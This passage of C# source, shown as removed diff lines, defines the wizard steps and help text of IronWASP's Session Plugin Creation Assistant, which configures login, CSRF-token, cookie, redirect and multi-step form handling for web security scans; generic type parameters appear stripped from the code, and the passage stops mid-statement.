"QuestionTypeParametersAnswer"; - const string QuestionTypeResponseSignatureAnswer = "QuestionTypeResponseSignatureAnswer"; - const string QuestionTypeSelectOptionAnswer = "QuestionTypeSelectOptionAnswer"; - const string QuestionTypeShowPseudoCode = "QuestionTypeShowPseudoCode"; - - bool ParametersAnswerAskUserOnly = false; - bool ResponseSignatureFullResponse = false; - - Dictionary> RequestDeclarationsInCode = new Dictionary>(); - - string PluginName = ""; - string PluginLang = "py"; - - List RequestNamesFromUserList = new List(); - - //Follow Redirect - string FollowRedirectPseudoCode = ""; - - //Update CSRF Token - string UpdateCSRFTokensPseudoCode = ""; - - //Handling Set-Cookies - List NamesOfCookieParametersToUpdate = new List(); - - //Handle Login - string LoginActionPseudoCode = ""; - string LoginRequestSourcePseudoCode = ""; - //Logout Detection - - //Multi-step Form Submission - string MultiStepActionPseudoCode = ""; - bool PreInjectionStepsPresent = false; - bool PostInjectionStepsPresent = false; - int PreInjectionCounter = 0; - int PostInjectionCounter = 0; - int PreInjectionCounterMax = 0; - - //Normal Response Signature - - const string HomeMenu = "HomeMenu"; - const string HandleRedirect = "HandleRedirect"; - const string HandleCSRFTokens = "HandleCSRFTokens"; - const string HandleEncodedParameters = "HandleEncodedParameters"; - const string HandleLogin = "HandleLogin"; - const string HandleMultiStep = "HandleMultiStep"; - const string HandleSetCookies = "HandleSetCookies"; - const string PluginCreation = "PluginCreation"; - - const string LoginCheckLabel = "login_check"; - const string PerformLoginLabel = "do_login"; - const string FollowRedirectLabel = "follow_redirect"; - const string UpdateCsrfLabel = "update_tokens"; - const string MultiStepPreLabel = "multi_step_pre"; - const string MultiStepPostLabel = "multi_step_post"; - - Dictionary> ParametersToUpdate = new Dictionary>(); - Dictionary LogSources = new Dictionary(); - - #region Steps - //HomeMenu - internal const string HomeMenu__BaseStep = "HomeMenuBaseStep"; - - //HandleRedirect - //Ask use if he wants to specify or use pseudo code or go back - internal const string HandleRedirect__BaseStep = "HandleRedirectBaseStep"; - //If user selected pseudo code then ask user for the pseudo code - internal const string HandleRedirect__EnterPseudoCodeStep = "HandleRedirectEnterPseudoCodeStep"; - //Ask user to enter the signature for the redirect - internal const string HandleRedirect__ResponseSignatureStep = "HandleRedirectResponseSignatureStep"; - //Display Pseudo Code to the user - internal const string HandleRedirect__ShowPseudoCodeStep = "HandleRedirectShowPseudoCodeStop"; - - //HandleSetCookies - //Ask user if he wants to update SetCookies from response - internal const string HandleSetCookies__BaseStep = "HandleSetCookiesBaseStep"; - //Ask the user to names of all cookie parameters that must be updated from set-cookies, one line at a time - internal const string HandleSetCookies__ParameterNames = "HandleSetCookiesParameterNames"; - - //HandleCSRFToken - //Ask user if he wants to update CSRF token or use pseudo code or go back - internal const string HandleCSRFTokens__BaseStep = "HandleCSRFTokensBaseStep"; - //if user selected pseudo code then ask user for the pseudo code - internal const string HandleCSRFTokens__PseudoCodeStep = "HandleCSRFTokensPseudoCodeStep"; - //Ask user what will be the source of the parameter - internal const string HandleCSRFTokens__ParameterSourceStep = "HandleCSRFTokensParameterSourceStep"; - //Ask user for the source of the reques that must be sent to get the html containing values to update - internal const string HandleCSRFTokens__RequestToSendForResponseStep = "HandleCSRFTokensRequestToSendForResponseStep"; - //Ask user for the parameter details - internal const string HandleCSRFTokens__ParametersStep = "HandleCSRFTokensParametersStep"; - //Ask user for the parameter details - internal const string HandleCSRFTokens__ParametersAskUserOnlyStep = "HandleCSRFTokens__ParametersAskUserOnlyStep"; - //Display the Psedudo Code to the user - internal const string HandleCSRFTokens__ShowPseudoCodeStep = "HandleCSRFTokensShowPseudoCodeStep"; - - - //HandleLogin - //Ask user if he wants to update CSRF token or use pseudo code or go back - internal const string HandleLogin__BaseStep = "HandleLoginBaseStep"; - //if user selected pseudo code then ask user for the pseudo code - internal const string HandleLogin__PseudoCodeStep = "HandleLoginPseudoCodeStep"; - //Ask user for the source of the Request to check if user of logged in - internal const string HandleLogin__LoggedinCheckRequestSourceStep = "HandleLoginLoggedinCheckRequestSourceStep"; - //Ask user which section of the response must be checked to identify logged in or logged out - internal const string HandleLogin__LoggedInLoggedOutSignatureResponseSectionStep = "HandleLoginLoggedInLoggedOutSignatureResponseSectionStep"; - //Ask user for the source of the login request - internal const string HandleLogin__LoginRequestSourceStep = "HandleLoginLoginRequestSourceStep"; - //Ask user if any parameters of the the login request needs to be updated from the response of another request - internal const string HandleLogin__ShouldUpdateLoginRequestStep = "HandleLoginShouldUpdateLoginRequestStep"; - //Ask user if another request must be sent to update the parameters of Login Request - internal const string HandleLogin__IsPreLoginRequestNeededStep = "HandleLoginIsPreLoginRequestNeededStep"; - //Ask user for the source of the pre-login request - internal const string HandleLogin__PreLoginRequestSourceStep = "HandleLoginPreLoginRequestSourceStep"; - //Ask user for parameters that must be updated in the login request - internal const string HandleLogin__LoginRequestParametersStep = "HandleLoginLoginRequestParametersStep"; - //Ask user for parameters that must be updated in the to inject request from the login response - internal const string HandleLogin__ToInjectRequestParametersStep = "HandleLoginToInjectRequestParametersStep"; - //Display the Psedudo Code to the user - internal const string HandleLogin__ShowPseudoCodeStep = "HandleLoginShowPseudoCodeStep"; - - - //Handle MultiStep Form Submission - //Ask user if he wants to perform MultiStep submission - internal const string HandleMultiStep__BaseStep = "HandleMultiStepBaseStep"; - //if user selected pseudo code then ask user for the pseudo code - internal const string HandleMultiStep__PseudoCodeStep = "HandleMultiStepPseudoCodeStep"; - //Ask user if actions must be performed both before and after injection - internal const string HandleMultiStep__BeforeAfterInjectionSelectionStep = "HandleMultiStepBeforeAfterInjectionSelectionStep"; - //Ask user for the source of the request to be sent before injection - internal const string HandleMultiStep__PreInjectionRequestSourceStep = "HandleMultiStepPreInjectionRequestSourceStep"; - //Ask user for the parameters of current request that must be updated from previous response - internal const string HandleMultiStep__PreInjectionRequestParametersStep = "HandleMultiStepPreInjectionRequestParametersStep"; - //Ask user if another request must be sent before injection - internal const string HandleMultiStep__MorePreInjectionRequestStep = "HandleMultiStepMorePreInjectionRequestStep"; - //Ask user for the parameters of the toinject request that must be updated from previous response - internal const string HandleMultiStep__ToInjectRequestParametersStep = "HandleMultiStepToInjectRequestParametersStep"; - //Ask user for the source of the request to be sent after injection - internal const string HandleMultiStep__PostInjectionRequestSourceStep = "HandleMultiStepPostInjectionRequestSourceStep"; - //Ask user for the parameters of current request that must be updated from previous response - internal const string HandleMultiStep__PostInjectionRequestParametersStep = "HandleMultiStepPostInjectionRequestParametersStep"; - //Ask user if another request must be sent after injection - internal const string HandleMultiStep__MorePostInjectionRequestStep = "HandleMultiStepMorePostInjectionRequestStep"; - //Display the Psedudo Code to the user - internal const string HandleMultiStep__ShowPseudoCodeStep = "HandleMultiStepShowPseudoCodeStep"; - - //PluginCreation - //Ask user for the name of the plugin - internal const string PluginCreation__PluginNameStep = "PluginCreationPluginNameStep"; - //Ask user which language the plugin must be created in - internal const string PluginCreation__LanguageStep = "PluginCreationLanguageStep"; - //Final step - internal const string PluginCreation__FinalStep = "PluginCreationFinalStep"; - - #endregion - - - #region Questions - - static string GenericQuestionToSpecifyRequestSource = @"{0} - -An existing request from one of the logs can be picked. - -Specify the Request to pick by mentioning the Log Source and the ID number of the Request inside the log. - -Also mention a name to this request, this name will be used to refer to this request in the SessionPlugin trace messages. - -"; - - - static string GenericQuestionToShowPseudoCode = @"{0} -The answers provided by you will be used to generate the Session Plugin. - -If you wish to provide the same set of answers again then you don't have to answer the all the questions in the UI. - -Instead just provide the Pseudo Code that is displayed below. - -The Pseudo Code is an exact representation of your answers and will be used for making the Session Plugin. - -Please go back to the main menu answer further questions or to create a Session Plugin based on your answers. - -"; - - static Dictionary Questions = new Dictionary() { - //Home Menu - {HomeMenu__BaseStep, @" ->Session Plugin Creation Assistant - Main Menu> - -This assistant will help you create a Session Plugin that can handle custom site behaviours like login, csrf token update etc. - -This session plugin can be used in your Automated Scan Jobs, Log Tester, Fuzzers or any other tools that support them. - -Depending on which action you want to program you can select an option from below. Selecting the option will show more details about it. - -Once you have defined how any one or more of these actions must be performed you can create a Session Plugin by clicking the appropriate button below. - -"}, - //Handle Redirect - {HandleRedirect__BaseStep, @" ->Follow Responses with Redirect> - -When the request that you are scanning/testing returns a response which is a 301 or 302 redirect to another location then you could choose to follow that response. - -This can be handy in scenarios where the application always returns a redirect for a request and following the redirect will display the actual result of the first request. - -In such cases it would be better if the scanner or the testing tool performed its analysis on the response got after following the redirect. - -If you wish to add this action to the Session Plugin then select 'Yes' below and hit 'Submit'. - -If you have already defined this action and have corresponding Pseudo Code that you would like to provide then select the 'Pseudo Code' option below. - -"}, - {HandleRedirect__ResponseSignatureStep ,@">Redirect Signature Definition> - -You can define when a redirect must be followed by specifying the signature of the response that you would like to be followed. - -The signature is defined by specifying the response code and optionally the value of the location header. - -If you don't define a signature then all redirects will be followed. - -"}, - {HandleRedirect__EnterPseudoCodeStep, @">Follow Redirect Pseudo Code> - -If you have already defined the follow redirect action then enter the corresponding pseudo code below. - -"}, - {HandleRedirect__ShowPseudoCodeStep, string.Format(GenericQuestionToShowPseudoCode, @">Pseudo Code for Handle Redirect Action> ->>")}, - // Handle SetCookies - {HandleSetCookies__BaseStep, @">Read Set-Cookies from Response> - -If the response recieved after sending the main request being scanned or tested has Set-Cookie headers then you can define if these values must be added to the cookie of the next main request that is sent. - -Only those Set-Cookie values whose names will be mentioned will be updated in the Cookie header of the next main request. - -If you wish you specify the Set-Cookie values then selected 'Yes' and hit 'Submit' - - "}, - {HandleSetCookies__ParameterNames, @">Set-Cookies Names> - -Enter the names of the Set-Cookie headers that you want to be updated in the Cookie header of the next main request. - -Enter the names one per line. - -"}, - //Handle CSRF Tokens - {HandleCSRFTokens__BaseStep, @">CSRF-token updating> - -Some requests might have a CSRF token parameter whose value needs to be updated everytime after it is sent or if the underlying session id changes. - -If the main request being scanned/tested has such a parameter or any other parameter that needs to be updated before it is sent then you can define that action in this section. - -If you wish you define this action then select 'Yes' and hit the 'Submit' button. - -If you have already defined this action and have the corresponding Pseudo Code and you like to use the same then selected the 'Pseudo Code' option. - - "}, - {HandleCSRFTokens__PseudoCodeStep, @">CSRF-token Update Pseudo Code> - -If you have already defined the csrf-token update action then enter the corresponding pseudo code below. - -"}, - {HandleCSRFTokens__ParameterSourceStep, @">CSRF-token Source Definition> - -Before the CSRF-token or any other value can be updated in the request we must get it from some source. - -There are two supported sources: - -1) Send another request and extract the values from the response of this request - -2) During the scan or test display a pop-up box asking the user to enter this value. (Useful for entering RSA tokens or solving captchas) - - -Depending on from where you would like to get the token value, select an option below. - -Please note that when you select the first option in addition to extract some values from the response of another request, you can also choose to update some parameters by prompting the user. - -"}, - {HandleCSRFTokens__RequestToSendForResponseStep, string.Format(GenericQuestionToSpecifyRequestSource, @">Request to send to get CSRF-token> - -You have chose to send a request and extract the token from the response. Enter the details of the request that must be used for this purpose. - -")}, - {HandleCSRFTokens__ParametersStep, @">'{0}' CSRF-token Parameter Update Definition> - -The parameters of the '{0}' will be updated based on your requirements. - -You must first specify the section of the request the parameter belongs to like Query, Body etc and the name of the parameter. This way the parameter to update can be identified. - -If you want to update the path section of the URL incase the server is using URL Rewriting then select 'UrlPathPart' and give the zero-based index of the path section you want to update. - -Then the value to update this parameter with must be made ready. If the value is being extracted from a response of the '{1}' request then you must specify how this value can be extracted. - -If this value occurs inside the value attribute of input tags in the response then it is taken from the first input tag that has the same name as the parameter name provided earlier. - -If this value occurs in a different place then you can provide a regex to extract this value. This regex will be used on the entire response body and the first match will be used. - -For example if the token appears inside the SCRIPT tag of the response as below: - -var c_token = 'ksd9283-asdjsd023-askjd23'; - -Then the regex to extract this token would be: var c_token = '(.*?)'; - -If you would want to get the value of this parameter from the user by throwing a prompt then you can select that option and provide a hint that will be included in the prompt to help the user identify the correct parameter. - -You can choose to update multiple parameters in this section. After you are done defining the parameters and the parameters are listed in the table at the bottom you can submit this definition. - -"}, - {HandleCSRFTokens__ParametersAskUserOnlyStep, @">'{0}' CSRF-token Parameter Update Definition> - -The parameters of the '{0}' will be updated based on your requirements. - -You must first specify the section of the request the parameter belongs to like Query, Body etc and the name of the parameter. This way the parameter to update can be identified. - -If you want to update the path section of the URL incase the server is using URL Rewriting then select 'UrlPathPart' and give the zero-based index of the path section you want to update. - -The value of this parameter will be got from the user by throwing a prompt, provide a hint that will be included in the prompt to help the user identify the correct parameter. - -You can choose to update multiple parameters in this section. After you are done defining the parameters and the parameters are listed in the table at the bottom you can submit this definition. - -"}, - {HandleCSRFTokens__ShowPseudoCodeStep, string.Format(GenericQuestionToShowPseudoCode, @">Pseudo Code for Handle CSRF-tokens Action> ->>")}, - //Handle Login - {HandleLogin__BaseStep, @">Handle Login> - -If you are scanning or testing a request that belongs to the post-authentication section of the site then it is important to check if the user is still logged in and if the user is logged out a proper login must be performed and the new session information must be updated in the main request before it is sent to the server. - -This section will let you define how to check if the user is still logged in and also to perform a proper login and updating of new session information. - -If you wish you define this action then select 'Yes' and hit the 'Submit' button. - -If you have already defined this action and have the corresponding Pseudo Code and you like to use the same then selected the 'Pseudo Code' option. - -"}, - {HandleLogin__PseudoCodeStep, @">Handle Login Pseudo Code> - -If you have already defined the handle login action then enter the corresponding pseudo code below. - -"}, - {HandleLogin__LoggedinCheckRequestSourceStep, string.Format(GenericQuestionToSpecifyRequestSource, @">Request to send to check Logged in status> - -A simple request must be sent to check if the user is still logged in. This could be the request to the user's profile page or welcome page depending on the site's design. - -In any case this must be a request that gives two different responses based on the logged in status of the user so that the response can be analyzed to determine this. - -Specify such a request which will used for this purpose. This request will be referred to as the 'Login Check Request' in subsequent sections. - -")}, - {HandleLogin__LoggedInLoggedOutSignatureResponseSectionStep, @">Analyze response of the 'Login Check Request'> - -Once the 'Login Check Request' is sent and a response it recieved it must be analyzed to determine the current login status. - -Since the response will be different for logged in and logged out status you can provide a signature for either one of those statuses. - -Choose the one status that is easier to define using the options below. The options for analysis include checking the response code, response title, response body and/or response redirect location (in case of a redirect). - -For example if the response would be a 200 for logged in status and a 302 to login.php for logged out status then it would suffice to select the 'Logged Out Signature' option and enter the status code as 302. - -But if the differnce is not that obvious then you can make use of the other options to provide a reliable signature. - -"}, - {HandleLogin__LoginRequestSourceStep, string.Format(GenericQuestionToSpecifyRequestSource, @">Request to send to perform login> - -If the analysis of the 'Login Check Request' shows that the user is logged out then a login must be performed. - -This is done by sending a request that has the user's authentication credentials (username, password, rsa tokens etc). - -Specify this request. This request will be referred to as the 'Login Request' in subsequent sections. - -")}, - {HandleLogin__ShouldUpdateLoginRequestStep, @">Updating the 'Login Request'> - -If the 'Login Request' contains any parameters that need to be updated before sending it then it can be handled. - -These could be CSRF-tokens in the 'Login Request' or one-time passwords like RSA tokens that must be entered by the user exactly at the time of login. - -If such updates need to be performed on the 'Login Request' then select 'Yes' and hit 'Submit'. - - "}, - {HandleLogin__IsPreLoginRequestNeededStep, @">Should a 'Pre Login Request' be sent> - -You have chose to update some of the parameters of the 'Login Request' before it is sent. - -If any of these parameters need to be updated with values from the response of another request then it can be done. This is a typical requirement in case of CSRF-tokens. - -If another request must be sent to extract parameter value from the response and use in the 'Login Request' then select 'Yes' and hit 'Submit' - -"}, - {HandleLogin__PreLoginRequestSourceStep, string.Format(GenericQuestionToSpecifyRequestSource, @">Request to send before sending the 'Login Request'> - -You have chose to send a request before sending the 'Login Reqeust' and extract some parameter value from the response and use it to update the 'Login Request'. - -Specify of the details of this request. This request will be referred to as the 'Pre Login Request' in subsequent sections. - -")}, - {HandleLogin__LoginRequestParametersStep, @">'Login Request' Parameter Update Definition> - -The parameters of the 'Login Request' will be updated based on your requirements. - -You must first specify the section of the request the parameter belongs to like Query, Body etc and the name of the parameter. This way the parameter to update can be identified. - -If you want to update the path section of the URL incase the server is using URL Rewriting then select 'UrlPathPart' and give the zero-based index of the path section you want to update. - -Then the value to update this parameter with must be made ready. If the value is being extracted from a response of the 'Pre Login Request' request then you must specify how this value can be extracted. - -If this value occurs inside the value attribute of input tags in the response then it is taken from the first input tag that has the same name as the parameter name provided earlier. - -If this value occurs in a different place then you can provide a regex to extract this value. This regex will be used on the entire response body and the first match will be used. - -For example if the token appears inside the SCRIPT tag of the response as below: - -var c_token = 'ksd9283-asdjsd023-askjd23'; - -Then the regex to extract this token would be: var c_token = '(.*?)'; - -If you would want to get the value of this parameter from the user by throwing a prompt then you can select that option and provide a hint that will be included in the prompt to help the user identify the correct parameter. - -You can choose to update multiple parameters in this section. After you are done defining the parameters and the parameters are listed in the table at the bottom you can submit this definition. - -"}, - //"Choose how the parameters of the 'Login Request' must be updated from the response of the 'Pre Login Request'."}, - {HandleLogin__ToInjectRequestParametersStep, @">Update New Session values after Successful Login> - -Once the 'Login Request' is sent and the authentication happens in the server the new session values must be updated in to the 'Main Request'. - -If the session identifier is stored in the cookie and the response of the 'Login Request' contained the new session identifier in its Set-Cookie header then this is automatically updated in the 'Main Request' and no action is required from your side. - -However if this application stores session identifiers in hidden form field parameters or in some other places then you would have to extract it from the response of the 'Login Request' and update this in to the 'Main Request'. - -You can define how this should be done. - -You must first specify the section of the request the parameter belongs to like Query, Body etc and the name of the parameter. This way the parameter to update can be identified. - -If you want to update the path section of the URL incase the server is using URL Rewriting then select 'UrlPathPart' and give the zero-based index of the path section you want to update. - -Then the value to update this parameter with must be made ready. If the value is being extracted from a response of the 'Login Request' request then you must specify how this value can be extracted. - -If this value occurs inside the value attribute of input tags in the response then it is taken from the first input tag that has the same name as the parameter name provided earlier. - -If this value occurs in a different place then you can provide a regex to extract this value. This regex will be used on the entire response body and the first match will be used. - -For example if the token appears inside the SCRIPT tag of the response as below: - -var c_token = 'ksd9283-asdjsd023-askjd23'; - -Then the regex to extract this token would be: var c_token = '(.*?)'; - -If you would want to get the value of this parameter from the user by throwing a prompt then you can select that option and provide a hint that will be included in the prompt to help the user identify the correct parameter. - -You can choose to update multiple parameters in this section. After you are done defining the parameters and the parameters are listed in the table at the bottom you can submit this definition. - -"}, - //"Once the 'Login Request' is sent and we get authenticated, we must update the 'Main Request' with updated session values. Choose how the parameters of the 'Main Request' must be updated from the response of the 'Login Request'. Please notes that cookies are updated automatically from set-cookie headers in this step."}, - {HandleLogin__ShowPseudoCodeStep, string.Format(GenericQuestionToShowPseudoCode, @">Pseudo Code for Handle Login Action> ->>")}, - //MutliStep Form - {HandleMultiStep__BaseStep, @">Handle Multi-step Form Submission> - -Sometimes applications have multi-step forms where there would user will be asked to complete a series of steps and at the final step all entered data will be processed. - -If you are scanning or testing a request that belongs any one of these steps then the requests that come before and after it must be sent everytime and the response of the final step must be used for analysis instead of the response of the 'Main Request'. - -If such behaviour is required then you can define it here by selecting 'Yes' below and hitting the 'Submit' button. - -If you have already defined this action and have the corresponding Pseudo Code and you like to use the same then selected the 'Pseudo Code' option. - -"}, - {HandleMultiStep__PseudoCodeStep, @">Handle Multi-step Form Submission Pseudo Code> - -If you have already defined the multi-step form submission action then enter the corresponding pseudo code below. - -"}, - {HandleMultiStep__BeforeAfterInjectionSelectionStep, @">Multi-step Form Submission Definition> - -If you have chosen to define that actions for multi-step form submission. - -Specify if would want to do other steps of the form submission only before sending the 'Main Request' or only after sending the 'Main Request' or both before and after sending the 'Main Request'. - -For example if the 'Main Request' is the first step of multi-step form submission then you would want to select the second option where the other steps are performed only after the 'Main Request'. - -If the 'Main Request' is the last step then you would want to select the first option where the other steps are performed only before the 'Main Request' - -If the 'Main Request' is one of the intermediate steps then you would want to select the third option where some steps must be performed before the 'Main Request' and some after. - -"}, - {HandleMultiStep__PreInjectionRequestSourceStep, string.Format(GenericQuestionToSpecifyRequestSource, @">{0} Request to send before 'Main Request'> - -You have chose to sends some requests before sending the 'Main Request', please specify the {0} request that must be sent. - -Provide an approprite name for this request, it will be referred using this name in the subsequent sections and the Session Plugin trace messages. - -")}, -//@"Specify the source of the {0} request that must be sent before injection."}, - {HandleMultiStep__PreInjectionRequestParametersStep, @">'{0}' Parameter Update Definition> - -The parameters of the '{0}' will be updated based on your requirements. - -You must first specify the section of the request the parameter belongs to like Query, Body etc and the name of the parameter. This way the parameter to update can be identified. - -If you want to update the path section of the URL incase the server is using URL Rewriting then select 'UrlPathPart' and give the zero-based index of the path section you want to update. - -Then the value to update this parameter with must be made ready. If the value is being extracted from a response of the '{1}' request then you must specify how this value can be extracted. - -If this value occurs inside the value attribute of input tags in the response then it is taken from the first input tag that has the same name as the parameter name provided earlier. - -If this value occurs in a different place then you can provide a regex to extract this value. This regex will be used on the entire response body and the first match will be used. - -For example if the token appears inside the SCRIPT tag of the response as below: - -var c_token = 'ksd9283-asdjsd023-askjd23'; - -Then the regex to extract this token would be: var c_token = '(.*?)'; - -If you would want to get the value of this parameter from the user by throwing a prompt then you can select that option and provide a hint that will be included in the prompt to help the user identify the correct parameter. - -You can choose to update multiple parameters in this section. After you are done defining the parameters and the parameters are listed in the table at the bottom you can submit this definition. - -If you don't wish to update any parameters just hit 'Submit' - -"}, - {HandleMultiStep__MorePreInjectionRequestStep, @">More Requests before 'Main Request'?> - -Should more requests be sent before sending the 'Main Request'? - -"}, - {HandleMultiStep__PostInjectionRequestSourceStep, string.Format(GenericQuestionToSpecifyRequestSource, @">{0} Request to send after 'Main Request'> - -You have chose to sends some requests after sending the 'Main Request', please specify the {0} request that must be sent. - -Provide an approprite name for this request, it will be referred using this name in the subsequent sections and the Session Plugin trace messages. - -")}, -//@"Specify the source of the {0} request that must be sent after injection."}, - {HandleMultiStep__PostInjectionRequestParametersStep, @">'{0}' Parameter Update Definition> - -The parameters of the '{0}' will be updated based on your requirements. - -You must first specify the section of the request the parameter belongs to like Query, Body etc and the name of the parameter. This way the parameter to update can be identified. - -If you want to update the path section of the URL incase the server is using URL Rewriting then select 'UrlPathPart' and give the zero-based index of the path section you want to update. - -Then the value to update this parameter with must be made ready. If the value is being extracted from a response of the '{1}' request then you must specify how this value can be extracted. - -If this value occurs inside the value attribute of input tags in the response then it is taken from the first input tag that has the same name as the parameter name provided earlier. - -If this value occurs in a different place then you can provide a regex to extract this value. This regex will be used on the entire response body and the first match will be used. - -For example if the token appears inside the SCRIPT tag of the response as below: - -var c_token = 'ksd9283-asdjsd023-askjd23'; - -Then the regex to extract this token would be: var c_token = '(.*?)'; - -If you would want to get the value of this parameter from the user by throwing a prompt then you can select that option and provide a hint that will be included in the prompt to help the user identify the correct parameter. - -You can choose to update multiple parameters in this section. After you are done defining the parameters and the parameters are listed in the table at the bottom you can submit this definition. - -If you don't wish to update any parameters just hit 'Submit' - -"}, - {HandleMultiStep__MorePostInjectionRequestStep, @">More Requests after 'Main Request'?> - -Should more requests be sent after sending the 'Main Request'? - -"}, - {HandleMultiStep__ShowPseudoCodeStep, string.Format(GenericQuestionToShowPseudoCode, @">Pseudo Code for Handle Multi-step Form Submission Action> ->>")}, - //PluginCreation Form - {PluginCreation__PluginNameStep, @">Choose a name for the Session Plugin> - -A Session Plugin will be created based on the actions you have defined. Please provide a name for this plugin. - -The name for the plugin should only consist of alphabets and should not match any of the existing Session Plugin names. After you type in the name of your choice, press the Enter key on your keyboard. - -The following are the existing Session Plugin names: - -{0} - - "}, - {PluginCreation__LanguageStep, @">Choose the language for the Session Plugin> - -The Session Plugin can be created in Python or Ruby. You could choose one based on which language is more familiar to you. This will help you review the plugin if you wish to and make modifications to it directly. - -If you don't know what Python/Ruby mean or you don't know programming then you can just randonmly select one of the two choices, they both provide the same functionality. - -"}, - {PluginCreation__FinalStep, @">Session Plugin Creation Complete> - -The Session Plugin can be created based on the inputs provided by you. - -You can now use this in sections of IronWASP that support Session Plugins. Just select the one with the name provided by you when you are prompted to select a Session Plugin. - -As the Session Plugin runs and executes the actions you defined it prints out trace messages so that you can follow how and if it is working properly. - -These messages can be found at 'Dev' -> 'Trace' -> 'Session Plugin Traces'. - -You can click on any of the entries to view details. - -The file containing the code itself can be found at {0} - -You can view it using your favourite ide or use the Script/Plugin editor available under the Dev Tools menu. If you make any changes to the code then save the file, go the 'Dev' -> 'Plugins & Modules' section, you can see all the Plugin names listed on the left-hand side. Click on the name of your Session Plugin, once its selected do a right-click on it and select 'Reload Selected Module'. This will update the plugin in memory so that you changes take effect. -"}, - -}; - - - static Dictionary> QuestionOptions = new Dictionary>() { - //Home Menu - {HomeMenu__BaseStep, new List(){"Read Set-Cookie headers","Update CSRF tokens and/or other parameters in request", "Handle Login", - "Follow Redirects", "Handle Multi-step Form Submission"}}, - - //Handle Redirect - {HandleRedirect__BaseStep, new List(){"Yes, define handle redirect action", "No, go back to main menu", "I have Pseudo Code for this action"}}, - - // Handle SetCookies - {HandleSetCookies__BaseStep, new List(){"Yes, define take the Set-Cookie parameter names", "No, go back to main menu"}}, - - //Handle CSRF Tokens - {HandleCSRFTokens__BaseStep, new List(){"Yes, define csrf-totken update action", "No, go back to main menu", "I have Pseudo Code for this action"}}, - - {HandleCSRFTokens__ParameterSourceStep, new List(){"Send another request and get values from its response", "Ask the user everytime"}}, - - //Handle Login - {HandleLogin__BaseStep, new List(){"Yes, define handle login action", "No, go back to main menu", "I have Pseudo Code for this action"}}, - - {HandleLogin__ShouldUpdateLoginRequestStep, new List(){"Yes", "No"}}, - - {HandleLogin__IsPreLoginRequestNeededStep, new List(){"Yes", "No"}}, - - //MutliStep Form - {HandleMultiStep__BaseStep, new List(){"Yes", "No, go back to main menu", "I have Pseudo Code for this action"}}, - - {HandleMultiStep__BeforeAfterInjectionSelectionStep, new List(){"Before 'Main Request' only", "After 'Main Request' only", "Both before and after"}}, - - {HandleMultiStep__MorePreInjectionRequestStep, new List(){"Yes", "No" }}, - - {HandleMultiStep__MorePostInjectionRequestStep, new List(){"Yes", "No"}}, - - //PluginCreation Form - {PluginCreation__LanguageStep, new List(){"Python", "Ruby"}}, - }; - - #endregion - - - - string CurrentSection = HomeMenu; - - string CurrentStep = "-"; - - public SessionPluginCreationAssistant() - { - InitializeComponent(); - } - - void ShowError(string Error) - { - switch(CurrentQuestionType) - { - case(QuestionTypeTextAnswer): - StatusTB.Text = Error; - StatusTB.ForeColor = Color.Red; - StatusTB.Visible = true; - break; - case (QuestionTypeRequestSourceAnswer): - RequestSourceAnswerMsgTB.Text = Error; - RequestSourceAnswerMsgTB.ForeColor = Color.Red; - RequestSourceAnswerMsgTB.Visible = true; - break; - case (QuestionTypeParametersAnswer): - ParametersAnswerMsgTB.Text = Error; - ParametersAnswerMsgTB.ForeColor = Color.Red; - ParametersAnswerMsgTB.Visible = true; - break; - case (QuestionTypeResponseSignatureAnswer): - SignatureAnswerMsgTB.Text = Error; - SignatureAnswerMsgTB.ForeColor = Color.Red; - SignatureAnswerMsgTB.Visible = true; - break; - case(QuestionTypeSelectOptionAnswer): - SelectOptionAnswerMsgTB.Text = Error; - SelectOptionAnswerMsgTB.ForeColor = Color.Red; - SelectOptionAnswerMsgTB.Visible = true; - break; - } - } - //void ShowStatus(string Status) - //{ - // StatusTB.Text = Status; - // StatusTB.ForeColor = Color.Black; - // StatusTB.Visible = true; - //} - void ClearStatus() - { - StatusTB.Visible = false; - StatusTB.Text = ""; - } - - #region ShowQuestions - void ShowQuestion(string Question, bool ExpectOneLineInput) - { - ClearStatus(); - SetQuestionText(Question); - - BigAnswerTB.Text = ""; - AnswerTB.Text = ""; - - if (ExpectOneLineInput) - { - AnswerTB.Enabled = true; - BigAnswerTB.Enabled = false; - AnswerTB.Focus(); - } - else - { - BigAnswerTB.Enabled = true; - AnswerTB.Enabled = false; - BigAnswerTB.Focus(); - } - CurrentQuestionType = QuestionTypeTextAnswer; - AnswerTabs.SelectTab("TextAnswerTab"); - } - - void ShowRequestSourceQuestion(string Question, string RequestName) - { - SetQuestionText(Question); - RequestSourceAnswerMsgTB.Text = ""; - RequestSourceCombo.Text = ""; - RequestSourceCombo.SelectedIndex = 0; - RequestSourceIdTB.Text = ""; - if (RequestName.Length > 0) - { - RequestSourceNameTB.Text = RequestName; - RequestSourceNameTB.Enabled = false; - } - else - { - RequestSourceNameTB.Text = ""; - RequestSourceNameTB.Enabled = true; - } - CurrentQuestionType = QuestionTypeRequestSourceAnswer; - AnswerTabs.SelectTab("RequestSourceAnswerTab"); - } - - void ShowResponseSignatureQuestion(string Question, bool FullResponse) - { - SetQuestionText(Question); - SignatureAnswerMsgTB.Text = ""; - - SignatureResponseCodeTB.Text = ""; - - UseLocationSignatureCB.Checked = false; - LocationSignatureTypeSelectCombo.SelectedIndex = 2; - LocationSignatureKeywordTB.Text = ""; - LocationSignatureKeywordTB.Enabled = false; - - LoggedInResponseSignatureRB.Checked = false; - LoggedOutResponseSignatureRB.Checked = false; - - UseTitleSignatureCB.Checked = false; - TitleSignatureTypeSelectCombo.SelectedIndex = 2; - TitleSignatureKeywordTB.Text = ""; - - UseBodySignatureCB.Checked = false; - BodySignatureTypeSelectCombo.SelectedIndex = 2; - BodySignatureKeywordTB.Text = ""; - - LocationSignatureTypeSelectCombo.Enabled = false; - if (FullResponse) - { - FullResponseSignatureFirstPanel.Visible = true; - FullResponseSignatureSecondPanel.Visible = true; - - TitleSignatureTypeSelectCombo.SelectedIndex = 2; - TitleSignatureTypeSelectCombo.Enabled = false; - TitleSignatureKeywordTB.Enabled = false; - - BodySignatureTypeSelectCombo.SelectedIndex = 2; - BodySignatureTypeSelectCombo.Enabled = false; - BodySignatureKeywordTB.Enabled = false; - } - else - { - FullResponseSignatureFirstPanel.Visible = false; - FullResponseSignatureSecondPanel.Visible = false; - } - ResponseSignatureFullResponse = FullResponse; - CurrentQuestionType = QuestionTypeResponseSignatureAnswer; - AnswerTabs.SelectTab("ResponseSignatureTab"); - } - - void ShowParameterUpdateQuestion(string Question, bool AskUserOnly) - { - SetQuestionText(Question); - ResetParameterAnswerFields(true); - - ParametersAnswerAskUserOnly = AskUserOnly; - CurrentQuestionType = 